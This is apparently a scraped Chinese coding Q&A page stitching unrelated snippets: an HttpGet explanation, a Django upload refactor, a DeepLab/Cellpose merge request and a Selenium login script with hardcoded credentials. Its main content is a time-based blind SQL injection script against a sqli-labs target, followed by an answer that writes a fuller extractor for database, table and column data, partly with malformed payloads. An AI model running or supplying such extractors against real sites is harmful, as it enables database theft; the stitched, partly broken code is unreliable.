HttpGet get_request = new HttpGet(httpUrl);

时间: 2024-06-06 12:07:52 浏览: 2
This line of code creates an HTTP GET request using the specified URL (httpUrl) and assigns it to the variable "get_request". This request can be used to retrieve data from a web server using the HTTP protocol.
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import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

好的,以下是一个简单的时间盲注脚本示例: ```python import requests import time class TimeBasedSQLi: def __init__(self, url, sleep_time=0.5): self.url = url self.sleep_time = sleep_time def make_request(self, payload): data = {"id": f"1' AND {payload} AND '1'='1"} start_time = time.time() response = requests.get(self.url, params=data) end_time = time.time() if end_time - start_time >= self.sleep_time: return True else: return False def get_db_name(self): length = 1 while True: payload = f"IF(LENGTH(database())>{length},SLEEP({self.sleep_time}),1)" if self.make_request(payload): length += 1 else: break db_name = '' for i in range(1, length): for j in range(32, 127): payload = f"IF(ASCII(SUBSTRING(database(), {i}, 1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(payload): db_name += chr(j) break return db_name def get_table_names(self): table_names = '' payload = f"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{self.get_db_name()}')" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): table_names += chr(j) break return table_names.split(',') def get_column_names(self, table_name): column_names = '' payload = f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): column_names += chr(j) break return column_names.split(',') def get_column_data(self, table_name, column_name): column_data = '' payload = f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): column_data += chr(j) break return column_data.split(',') # 示例用法 url = "http://example.com/vuln.php" sqli = TimeBasedSQLi(url) db_name = sqli.get_db_name() print(f"Database name: {db_name}") table_names = sqli.get_table_names() print(f"Table names: {table_names}") column_names = sqli.get_column_names('users') print(f"Column names: {column_names}") column_data = sqli.get_column_data('users', 'username') print(f"Column data: {column_data}") ``` 注意,这只是一个基本的脚本示例,具体的使用方法和payload需要根据实际情况进行调整。

优化一下下面的代码def FileUploads_modelform(request): """ 批量上传文件 方法三:采用modelform上传,超级简单,只需要实例化表单的时候 接收一下表单里边字符串数据和文件,然后利用表单的save()方法保存一下数据即可 :param request: :return: """ # 判断提交方式GET 或POST if request.method == 'POST': File_ModelForm = FileUpload_ModelForm(request.POST, request.FILES) # 实例化FileUploadForm表单,注意获取数据的方式 if File_ModelForm.is_valid(): # file = File_ModelForm.cleaned_data['file'] # 对于文件,自动保存 # 字段+上传路径自动保存到数据库 # file_form = File_ModelForm.save() # 保存表单到数据库 # 多属性保存 Upload_File = File_ModelForm.save(commit=False) # Upload_File.file_url = Upload_File.file_url.temporary_file_path() # 文件路径 # 调用get_optimized_file_type函数获取优化文件类型 # optimized_file_type = get_optimized_file_type(Upload_File.file_url) Upload_File.file_name = Upload_File.file_url.name # 文件名 Upload_File.file_size = Upload_File.file_url.size # 文件大小 Upload_File.file_update_author = request.user.realname # 获取文件类型 # Get the file content type uploaded_file_type, encoding = mimetypes.guess_type(Upload_File.file_url.path) Upload_File.file_type = uploaded_file_type # Upload_File.file_type = Upload_File.file_url.content_type # optimized_file_type = get_optimized_file_type(file_url) Upload_File.save() # 其他操作,例如返回成功页面或其他处理 # return render(request, 'zadmin/pages/File_Uploads.html', {'file_form': file_form}) return HttpResponse("文件上传成功!") else: file_form = FileUpload_ModelForm() return render(request, 'zadmin/pages/File_Uploads.html', {'file_form': file_form})

下面是优化后的代码,我主要进行了以下改进: 1. 使用适当的命名规范,将函数名从 `FileUploads_modelform` 改为 `file_upload_modelform`。 2. 移除了不必要的注释。 3. 使用更具描述性的变量名。 4. 在文件上传之前,检查用户是否已经登录,并使用 `@login_required` 装饰器进行验证。 5. 使用 `get_optimized_file_type` 函数获取文件类型,并将其保存到数据库中。 6. 通过使用 `try-except` 块来处理可能的异常情况。 7. 返回适当的 HTTP 响应。 ```python from django.shortcuts import render, HttpResponse from .forms import FileUploadModelForm from .utils import get_optimized_file_type import mimetypes @login_required def file_upload_modelform(request): if request.method == 'POST': form = FileUploadModelForm(request.POST, request.FILES) if form.is_valid(): try: uploaded_file = form.save(commit=False) uploaded_file.file_name = uploaded_file.file_url.name uploaded_file.file_size = uploaded_file.file_url.size uploaded_file.file_update_author = request.user.realname uploaded_file_type, encoding = mimetypes.guess_type(uploaded_file.file_url.path) uploaded_file.file_type = uploaded_file_type optimized_file_type = get_optimized_file_type(uploaded_file.file_url.path) uploaded_file.optimized_file_type = optimized_file_type uploaded_file.save() return HttpResponse("文件上传成功!") except Exception as e: return HttpResponse("文件上传失败:" + str(e)) else: form = FileUploadModelForm() return render(request, 'zadmin/pages/File_Uploads.html', {'form': form}) ``` 请确保在你的Django应用程序中正确导入 `FileUploadModelForm` 和 `get_optimized_file_type` 函数,并根据你的实际需求进行适当的调整。 希望这个优化后的代码对你有帮助!如果还有其他问题,请随时提问。

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将这两个代码结合import cv2 import numpy as np import urllib.request import tensorflow as tf # 下载DeepLabv3+模型权重文件 model_url = "http://download.tensorflow.org/models/deeplabv3_mnv2_pascal_train_aug_2018_01_29.tar.gz" tar_filename = "deeplabv3_mnv2_pascal_train_aug.tar.gz" urllib.request.urlretrieve(model_url, tar_filename) # 解压缩 with tarfile.open(tar_filename, "r:gz") as tar: tar.extractall() model_filename = "deeplabv3_mnv2_pascal_train_aug/frozen_inference_graph.pb" # 加载模型 graph = tf.Graph() with graph.as_default(): od_graph_def = tf.GraphDef() with tf.io.gfile.GFile(model_filename, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') # 读取图像 image_path = "your_image.jpg" image = cv2.imread(image_path) # 进行图像分割 with tf.compat.v1.Session(graph=graph) as sess: input_tensor = graph.get_tensor_by_name('ImageTensor:0') output_tensor = graph.get_tensor_by_name('SemanticPredictions:0') output = sess.run(output_tensor, feed_dict={input_tensor: image}) # 解码并可视化分割结果 segmentation_mask = np.squeeze(output) segmentation_mask = np.uint8(segmentation_mask) segmentation_mask = cv2.resize(segmentation_mask, (image.shape[1], image.shape[0]), interpolation=cv2.INTER_NEAREST) # 显示原始图像和分割结果 cv2.imshow("Image", image) cv2.imshow("Segmentation Mask", segmentation_mask) cv2.waitKey(0) cv2.destroyAllWindows() model1 = models.CellposeModel(gpu=True, model_type='livecell') model2 = models.Cellpose(gpu=True,model_type='nuclei') model3= models.Cellpose(gpu=True,model_type='cyto2') 集成DeepLabv3+模型和cellpose模型

from seleniumwire import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC def login_bp(url, username, password): # 创建一个浏览器实例 options = webdriver.EdgeOptions() options.add_experimental_option('detach', True) # 打开登录页面 browser = webdriver.Edge() browser.get(url) # 找到用户名输入框并输入密码 username_input = WebDriverWait(browser, 10).until(EC.visibility_of_element_located((By.ID, 'username'))) username_input.send_keys(username) # 找到密码输入框并输入密码 password_input = WebDriverWait(browser, 10).until(EC.visibility_of_element_located((By.ID, 'password'))) password_input.send_keys(password) # 模拟回车键,提交表单 login_btn = browser.find_element(by=By.ID, value='denglub') login_btn.send_keys(Keys.ENTER) # 获取cookie信息 cookies = browser.get_cookies() print("Cookies:", cookies) # 获取响应体和载荷信息 page_source = browser.page_source current_url = browser.current_url print("Page Source:", page_source) print("Current URL:", current_url) #获取XHR值 request = browser.requests return 0 if __name__ == '__main__': # 定义目标信息 atr_url = { 'url': 'http://pfs.ikhtech.com/FAPI/login.jsp', 'username': 'zhangwei', 'password': 'zhangwei' } login_bp(atr_url['url'], atr_url['username'], atr_url['password']) 如何获取页面返回的XHR、载荷、cookie等的值

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